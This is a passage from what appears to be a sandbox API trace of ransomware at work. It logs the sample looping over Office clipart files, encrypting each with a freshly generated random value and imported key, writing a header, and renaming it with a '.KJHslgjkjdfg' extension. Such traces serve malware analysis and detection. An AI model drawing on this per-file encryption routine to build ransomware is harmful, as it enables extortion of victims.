lpNewFilePointer=0x0) returned 1 [0193.196] SetEndOfFile (hFile=0x130) returned 1 [0193.198] GetProcessHeap () returned 0x990000 [0193.198] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.199] GetProcessHeap () returned 0x990000 [0193.199] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.kjhslgjkjdfg")) returned 1 [0193.200] CloseHandle (hObject=0x130) returned 1 [0193.200] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105638.WMF", cAlternateFileName="")) returned 1 [0193.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.201] GetProcessHeap () returned 0x990000 [0193.201] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.201] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.201] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.203] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.203] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.203] GetProcessHeap () returned 0x990000 [0193.204] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.204] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.204] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.204] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.204] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.204] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.204] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.204] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.204] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.204] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.204] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x287c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x287c, lpOverlapped=0x0) returned 1 [0193.206] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2880, dwBufLen=0x2880 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2880) returned 1 [0193.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.206] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2880, lpOverlapped=0x0) returned 1 [0193.206] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.206] SetEndOfFile (hFile=0x130) returned 1 [0193.209] GetProcessHeap () returned 0x990000 [0193.209] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.209] GetProcessHeap () returned 0x990000 [0193.209] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.209] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.kjhslgjkjdfg")) returned 1 [0193.210] CloseHandle (hObject=0x130) returned 1 [0193.211] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105710.WMF", cAlternateFileName="")) returned 1 [0193.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.211] GetProcessHeap () returned 0x990000 [0193.211] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.211] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.212] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.212] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.212] GetProcessHeap () returned 0x990000 [0193.212] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.212] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.212] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.212] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.213] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.214] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.214] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.214] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.214] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.214] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.214] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x35f0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x35f0, lpOverlapped=0x0) returned 1 [0193.215] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x35f0, dwBufLen=0x35f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x35f0) returned 1 [0193.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.215] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x35f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x35f0, lpOverlapped=0x0) returned 1 [0193.216] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x36c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.216] SetEndOfFile (hFile=0x130) returned 1 [0193.218] GetProcessHeap () returned 0x990000 [0193.218] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.218] GetProcessHeap () returned 0x990000 [0193.218] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.kjhslgjkjdfg")) returned 1 [0193.219] CloseHandle (hObject=0x130) returned 1 [0193.220] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2030, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105846.WMF", cAlternateFileName="")) returned 1 [0193.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.221] GetProcessHeap () returned 0x990000 [0193.221] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.221] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.221] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.221] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.221] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.221] GetProcessHeap () returned 0x990000 [0193.222] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.222] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.222] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.222] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.224] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.225] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.225] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.225] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.225] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.225] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.225] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2030, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2030, lpOverlapped=0x0) returned 1 [0193.226] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2030, dwBufLen=0x2030 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2030) returned 1 [0193.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.226] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2030, lpOverlapped=0x0) returned 1 [0193.227] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.227] SetEndOfFile (hFile=0x130) returned 1 [0193.228] GetProcessHeap () returned 0x990000 [0193.228] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.228] GetProcessHeap () returned 0x990000 [0193.228] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.228] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.kjhslgjkjdfg")) returned 1 [0193.229] CloseHandle (hObject=0x130) returned 1 [0193.230] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105912.WMF", cAlternateFileName="")) returned 1 [0193.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.230] GetProcessHeap () returned 0x990000 [0193.230] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.230] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.231] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.233] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.233] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.233] GetProcessHeap () returned 0x990000 [0193.233] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.233] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.233] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.233] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.233] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.233] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.234] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.234] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.234] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.234] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.234] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2dc8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2dc8, lpOverlapped=0x0) returned 1 [0193.235] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2dd0, dwBufLen=0x2dd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2dd0) returned 1 [0193.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.235] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2dd0, lpOverlapped=0x0) returned 1 [0193.235] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.236] SetEndOfFile (hFile=0x130) returned 1 [0193.238] GetProcessHeap () returned 0x990000 [0193.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.238] GetProcessHeap () returned 0x990000 [0193.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.kjhslgjkjdfg")) returned 1 [0193.240] CloseHandle (hObject=0x130) returned 1 [0193.240] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105974.WMF", cAlternateFileName="")) returned 1 [0193.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.241] GetProcessHeap () returned 0x990000 [0193.241] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.241] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 